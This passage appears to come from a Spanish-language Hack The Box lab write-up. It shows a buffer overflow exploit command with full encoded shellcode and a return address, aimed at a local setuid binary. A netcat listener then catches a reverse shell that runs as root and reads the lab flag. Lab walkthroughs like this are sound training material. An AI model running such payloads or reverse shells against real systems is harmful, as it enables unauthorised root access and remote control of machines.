htb-student@nixbof32skills:~$ ./leave_msg $(python -c 'print("\x55" * (2064 - 100 - 95 - 4) + "\x90" * 100 + "\xdb\xc5\xd9\x74\x24\xf4\xbf\xb5\x28\xa8\x8f\x5d\x29\xc9\xb1\x12\x31\x7d\x17\x83\xc5\x04\x03\xc8\x3b\x4a\x7a\x03\xe7\x7d\x66\x30\x54\xd1\x03\xb4\xd3\x34\x63\xde\x2e\x36\x17\x47\x01\x08\xd5\xf7\x28\x0e\x1c\x9f\xd5\xf0\xde\x5e\x42\xf3\xde\x1a\xfb\x7a\x3f\x6a\x9d\x2c\x91\xd9\xd1\xce\x98\x3c\xd8\x51\xc8\xd6\x8d\x7e\x9e\x4e\x3a\xae\x4f\xec\xd3\x39\x6c\xa2\x70\xb3\x92\xf2\x7c\x0e\xd4" + "\xdc\xd6\xff\xff")')

10. Recibimos la shell:

htb-student@nixbof32skills:~$ nc -nlvp 31337
Listening on [0.0.0.0] (family 0, port 31337)

Connection from 127.0.0.1 45454 received!
ls
leave_msg
msg.txt
id
uid=0(root) gid=1001(htb-student) groups=1001(htb-student)
whoami
root
cd /root
ls
flag.txt
cat flag.txt
HTB{wmcaJe4dEFZ3pbgDEpToJxFwvTE...}

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